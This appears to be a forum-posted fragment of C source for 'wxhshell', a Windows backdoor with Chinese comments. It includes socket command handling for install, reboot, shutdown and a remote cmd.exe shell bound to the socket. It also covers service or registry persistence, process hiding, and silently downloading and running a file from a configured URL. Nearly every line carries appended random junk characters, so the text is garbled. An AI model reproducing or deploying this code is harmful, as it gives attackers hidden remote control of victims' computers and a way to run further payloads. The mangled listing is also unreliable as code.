  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +XMKRt  
  } rK(TekU  
  else { n%X5TJE  
.Yg7V'R1  
    switch(cmd[0]) { WCRGqSr4  
  +`=rzL"0I7  
  // 帮助 ~+ [T{{  
  case '?': { 1L3 +KD~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >sGIpER7  
    break; oR[-F+__  
  } yI$KBx/]n  
  // 安装 WstX>+?'  
  case 'i': { 3:qn\"Hj  
    if(Install()) pV[SY6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E&G]R!  
    else dT?mMTKn+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "!,)Pv  
    break; #|-i*2@oR  
    } A s"% u  
  // 卸载 VY G o;  
  case 'r': { 4f SG c8  
    if(Uninstall()) o@2Y98~Q}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \8Y62  
    else l_$ le  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZB+~0[C  
    break; PJ -g.0q  
    } tqk^)c4FF(  
  // 显示 wxhshell 所在路径 6 H{G$[2  
  case 'p': { $/J4?Wik  
    char svExeFile[MAX_PATH]; ;x,yGb`  
    strcpy(svExeFile,"\n\r"); <*_DC)&7 9  
      strcat(svExeFile,ExeFile); Iw;i ".  
        send(wsh,svExeFile,strlen(svExeFile),0); ? R!Pf: t  
    break; y?OK#,j  
    } 'u}OeS"f  
  // 重启 ze"`5z26|  
  case 'b': { #V9do>Cu%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F,}7rhY(U^  
    if(Boot(REBOOT)) '"C& dia  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W>y >  
    else { Bi-x gq'z  
    closesocket(wsh); .VXadgM  
    ExitThread(0); pd dumbp  
    } b]5/IT)@O  
    break; F rd>+   
    } tf IUH'Ez>  
  // 关机 SiLWy=qbR  
  case 'd': { &[b(Lx|i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t9~Y ?  
    if(Boot(SHUTDOWN)) s7?d_+O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # KUN ZW  
    else { T3bYj|rh=  
    closesocket(wsh); w5<&b1:  
    ExitThread(0); aOhi<I`*  
    } lK Ry4~O  
    break; ROi_k4Fj  
    } 4OOI$J$Jh  
  // 获取shell ec h1{v\B|  
  case 's': { @Ta0v:Y  
    CmdShell(wsh); x~?|bnM#3  
    closesocket(wsh); j6GR-WQ]t  
    ExitThread(0); p}]K0F!  
    break; 0u}+n+\g  
  } sq_ yu(  
  // 退出 eNDc220b  
  case 'x': { "N3!!3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X?7s  
    CloseIt(wsh); O[+\` 63F=  
    break; vyBx|TR  
    } eWOZC(I*z  
  // 离开 v8U&{pD,  
  case 'q': { d1}cXSQ1T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >)t-Zh:n  
    closesocket(wsh); |U`A So  
    WSACleanup(); ST1;i5   
    exit(1); >@tJ7m M  
    break; &SMM<^P.  
        } $Zn>W@\  
  } :Qu.CvYF  
  } oM!zeJNA  
Bo4iX,zu  
  // 提示信息 AzMX~cd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .A F94OlE/  
} ?$@E}t8g\  
  } |Hv8GT  
;"2(e7ir  
  return; )1/J5DI @8  
} xf3;:soC  
jwp?eL!7  
// shell模块句柄 Bq~?!~\?.  
int CmdShell(SOCKET sock) CqLAtS X7  
{ awgS5We|  
STARTUPINFO si; _iH:>2p5R  
ZeroMemory(&si,sizeof(si)); lm8<0*;,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Fx-$Yqy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~.E r  
PROCESS_INFORMATION ProcessInfo; \iH\N/  
char cmdline[]="cmd"; .2 }5Dc,eR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ? @- t.N  
  return 0; ]Wn=Oc{F  
} 2,rjy|R`  
_N"c,P0  
// 自身启动模式 fBLR  
int StartFromService(void) b\vL^\bX8  
{ mW)C=X%  
typedef struct MZt&HbD-  
{ Na.)!h_Kn'  
  DWORD ExitStatus; b v 4  
  DWORD PebBaseAddress; &4m;9<8\  
  DWORD AffinityMask; MtG~ O;?8  
  DWORD BasePriority; $aY:Z_s  
  ULONG UniqueProcessId; DfZ)gqp/Av  
  ULONG InheritedFromUniqueProcessId; \|7Y"WEQ  
}   PROCESS_BASIC_INFORMATION; 3uuB/8  
b?:SCUI  
PROCNTQSIP NtQueryInformationProcess; /t04}+,e ^  
l(3\ekU!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l8 XY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CTZ#QiNP  
:@,UPc-+  
  HANDLE             hProcess; ui&^ m,  
  PROCESS_BASIC_INFORMATION pbi; ]g]~!":  
%(~8a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A}CpyRVCn  
  if(NULL == hInst ) return 0; U=N]XwjVK<  
sDS0cc6e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sf,9Ym  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pW5PF)([  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i&Me7=~  
=UV=F/Af^  
  if (!NtQueryInformationProcess) return 0; (!koz'f  
}/VSIS@Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l)qGG$7$  
  if(!hProcess) return 0; jO5We mqf  
{%8=qJ3@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E#`JH  
{ \5-b:#_  
  CloseHandle(hProcess); g?9%_&/})A  
JT*Pm"}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~!ICBF~j  
if(hProcess==NULL) return 0; S^ JUQx7  
+zzS  
HMODULE hMod; wi S8S{K5  
char procName[255]; [KsVI.gn  
unsigned long cbNeeded; J:2Su1"ODh  
nEh^{6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hJGWa%`  
Iq(;?_  
  CloseHandle(hProcess);  o[>p  
y0 qq7Dmu  
if(strstr(procName,"services")) return 1; // 以服务启动 du^r EMb%  
l]mn4cn3  
  return 0; // 注册表启动 aR0v qRF  
} )}SiM{g  
3L%g2`  
// 主模块 \\,z[C  
int StartWxhshell(LPSTR lpCmdLine) n4G53+y'  
{ fc9gi4y9  
  SOCKET wsl; LJBDB6  
BOOL val=TRUE; q^+Z>   
  int port=0; @-BgPDi.Z  
  struct sockaddr_in door; J!*Pg<  
Zq>}SR  
  if(wscfg.ws_autoins) Install(); BXX1G  
Wg5i#6y8w  
port=atoi(lpCmdLine); o/p'eY:)  
uT{.\qHo  
if(port<=0) port=wscfg.ws_port; -u%'u~s  
P8;f^3V(+/  
  WSADATA data; ;AE%f.Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fa;GM7<e)  
<>K@#|%Y&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^<nN~@j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !d=Q@oy5  
  door.sin_family = AF_INET; qYR+qSAJP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OvW/{  
  door.sin_port = htons(port); bHH=MLZR:  
.@;,'Xw1~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >jBnNA@  
closesocket(wsl); .X(ocs$}  
return 1; da53XEF&  
} ^p!bteA>  
s*W)BK|+?  
  if(listen(wsl,2) == INVALID_SOCKET) { ]<\; -i)  
closesocket(wsl); 7`6JK  
return 1; c}g:vh  
} X5eTj  
  Wxhshell(wsl); xn)r6  
  WSACleanup(); &_y+hV{  
%]@K}!)2  
return 0; DwC8?s*2H  
z/t:gc.  
} /WI HG0D  
-Fs^^={Q  
// 以NT服务方式启动  LYX\#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7&9'=G  
{ wq"AWyu  
DWORD   status = 0; "227 U)Q  
  DWORD   specificError = 0xfffffff; ?#X`Eu  
@OPyT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )SYZ*=ezl.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;j/-ndd&&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jZ>'q/  
  serviceStatus.dwWin32ExitCode     = 0; ICgyCsZ,  
  serviceStatus.dwServiceSpecificExitCode = 0; $\@yH^hL  
  serviceStatus.dwCheckPoint       = 0; 5PlTf?Ao  
  serviceStatus.dwWaitHint       = 0; A4W61f  
v]HiG_C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GQ8r5V4:  
  if (hServiceStatusHandle==0) return; `g iCytv  
4c=oAL  
status = GetLastError(); y3!=0uPf  
  if (status!=NO_ERROR) c/57_fOK  
{ 20f):A6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R4|<Vp<U2  
    serviceStatus.dwCheckPoint       = 0; l7r!fAV-f  
    serviceStatus.dwWaitHint       = 0; IK-E{,iKc  
    serviceStatus.dwWin32ExitCode     = status; `-N&cc  
    serviceStatus.dwServiceSpecificExitCode = specificError; `'`T'+0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WwDxZ>9jw  
    return; S Yvifgp  
  } V F'! OPN  
hOx">yki  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Lay+)S.ta[  
  serviceStatus.dwCheckPoint       = 0; B1A5b=6G<  
  serviceStatus.dwWaitHint       = 0; 2JYt.HN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YA>du=6y\  
} 0|:Ic,  
_r|$H_#  
// 处理NT服务事件,比如:启动、停止 (UV+/[,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uOrvmb  
{ W+~ w  
switch(fdwControl) z,oqYU\:  
{ wQ,RZO3  
case SERVICE_CONTROL_STOP: 5yQv(<~*G  
  serviceStatus.dwWin32ExitCode = 0; 0ZV)Y<DJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t=]&q.  
  serviceStatus.dwCheckPoint   = 0; r\"O8\  
  serviceStatus.dwWaitHint     = 0; RfwTqw4@  
  { sy` : wp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #7U,kTj9  
  } (K+TqJw  
  return; MNiu5-g5  
case SERVICE_CONTROL_PAUSE: sHrpBm&O4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tf"DpA!_  
  break; >M^ 1m(  
case SERVICE_CONTROL_CONTINUE: [lA[w Cw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G1~|$X@@  
  break; k[ Iwxl;/  
case SERVICE_CONTROL_INTERROGATE: 8Db~OYVJG  
  break; bhSpSul  
}; z[S,hD\w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \wNn c"  
} t{>66jm\R  
c+G: bb%p  
// 标准应用程序主函数 h& (@gU`A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .VmI4V?}h  
{ ZjEO$ ts=@  
5 ^iU1\(L  
// 获取操作系统版本 B<[;rk  
OsIsNt=GetOsVer(); E!VAA=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [JVI@1T  
-& kQlr  
  // 从命令行安装 KF'H|)!K  
  if(strpbrk(lpCmdLine,"iI")) Install(); *4qsM,t  
-H`G6oMOO  
  // 下载执行文件 R\:C|/6f  
if(wscfg.ws_downexe) { [ylGNuy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VSZ6;&2^  
  WinExec(wscfg.ws_filenam,SW_HIDE); RQ{w`> K  
} =,[46 ;q  
4 _N)1u !  
if(!OsIsNt) { ja7Z v[  
// 如果时win9x,隐藏进程并且设置为注册表启动 %TG$5' )0  
HideProc(); q'hV 'U  
StartWxhshell(lpCmdLine); <'~8mV1  
} n/@/yJ<EFi  
else 9zO3KT2  
  if(StartFromService()) D-3/?"n  
  // 以服务方式启动 &,."=G  
  StartServiceCtrlDispatcher(DispatchTable); ?GFxJ6!%I  
else OqBw&zm  
  // 普通方式启动 hDlk! #*  
  StartWxhshell(lpCmdLine); R C (v#G  
 R/^JyL  
return 0; cT0utR&  
}
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只看该作者 1 发表于: 2006-10-10
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